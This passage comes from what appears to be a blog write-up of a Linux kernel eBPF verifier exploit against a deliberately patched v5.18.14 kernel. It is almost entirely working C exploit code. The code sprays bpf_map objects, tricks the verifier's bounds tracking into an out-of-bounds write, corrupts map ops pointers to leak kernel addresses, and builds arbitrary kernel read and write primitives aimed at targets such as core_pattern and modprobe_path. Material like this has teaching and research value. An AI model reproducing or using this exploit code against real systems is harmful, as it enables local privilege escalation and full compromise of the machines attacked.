      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = map_elem
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_6),  // arg3 = r6 == map_elem
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    0xf1 - 1),  // arg4 = (0xf1-1) * arg4 == (actual_val=0xf1-1;
                                // val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0xf1; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0xf1; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  char buf[0x100] = {
      0,
  };
  // Overwrite low byte of bpf_map-&amp;gt;ops
  // (https://elixir.bootlin.com/linux/v5.18.14/source/include/linux/bpf.h#L63)
  memset(buf, &amp;#39;a&amp;#39;, 0xf0);
  buf[0xf0] = 0xa0 - 8;
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}

int corrupted_map_fd;
uint64_t bpf_map_addr;
void find_corrupted_map_and_leak_bpf_map_addr() {
  char verifier_log[0x10000];

  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; ++i) {
    int cur_map_fd = map_spray_fd[i];
    if (cur_map_fd == mapfd) {
      continue;
    }

    // uint64_t map_val = 0;
    // int ret = bpf_map_update(cur_map_fd, 0, &amp;amp;map_val);
    // printf(&amp;#34;ret: 0x%x, val: 0x%lx\n&amp;#34;, ret, map_val);

    struct bpf_insn insns[] = {
        // BPF_REG_ARG1 == struct __sk_buff
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                    -0x08),  // *(u64*)(fp-0x08) = skb

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, cur_map_fd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x10 &amp;lt;- 0
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_ARG2),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x10, 0) or map_lookup_elem(mapfd,
        // fp-0x10) if corrupted
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x18),

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x18 &amp;lt;- return value of map_update_elem or
        // map_lookup_elem.
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x18),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x18, 0)
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };

    union bpf_attr prog_attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log,
    };

    int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
    if (progfd &amp;lt; 0) {
      puts(&amp;#34;============[failed reason]============&amp;#34;);
      printf(&amp;#34;%s\n&amp;#34;, verifier_log);
      fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
    }

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
      fatal(&amp;#34;socketpair&amp;#34;);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
      fatal(&amp;#34;setsockopt&amp;#34;);
    }

    write(socks[1], &amp;#34;Hello&amp;#34;, 5);

    uint64_t val;
    bpf_map_lookup(mapfd, 0, &amp;amp;val);

    close(socks[0]);
    close(socks[1]);
    close(progfd);

    if (val != 0) {
      bpf_map_addr = val - 0x110;
      corrupted_map_fd = cur_map_fd;
      continue;
    }

    close(cur_map_fd);
  }
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  make_corrupted_map();
  find_corrupted_map_and_leak_bpf_map_addr();

  if (corrupted_map_fd == 0) {
    puts(&amp;#34;[-] Failed to find corrupted bpf_map&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[+] mapfd: %d\n&amp;#34;, mapfd);
  printf(&amp;#34;[+] corrupted_map_fd: %d\n&amp;#34;, corrupted_map_fd);
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx\n&amp;#34;, bpf_map_addr);

  puts(&amp;#34;[*] Restore corrupted map...&amp;#34;);
  uint64_t bpf_map_ops = aar64(bpf_map_addr) + 8;
  aaw64(bpf_map_addr, bpf_map_ops);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;leak-addr-of-jit-code-using-oob-read--heap-spray&#34;&gt;Leak addr of JIT code using oob read &amp;amp; heap spray&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;254613798&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;254613798&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_jit_addr_using_oob_read.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define BPF_MAP_OPS_LOOKUP_IDX 12
#define BPF_MAP_OPS_LOOKUP_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_LOOKUP_IDX * 8)
#define BPF_MAP_OPS_UPDATE_ELEM_IDX 13
#define BPF_MAP_OPS_UPDATE_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_UPDATE_ELEM_IDX * 8)
#define OPS_CONTAINING_RET_OFFSET (0xffffffff81c15fc8 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
int map_spray_fd[0x100];
void make_corrupted_map() {
  uint64_t map_val = 1;

  puts(&amp;#34;[*] Spray struct bpf_map...&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; i++) {
    map_spray_fd[i] = bpf_map_create(sizeof(uint64_t), 1);
    bpf_map_update(map_spray_fd[i], 0, &amp;amp;map_val);
  }
  mapfd = map_spray_fd[0x81];

  char verifier_log[0x10000];

  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = map_elem
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_6),  // arg3 = r6 == map_elem
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
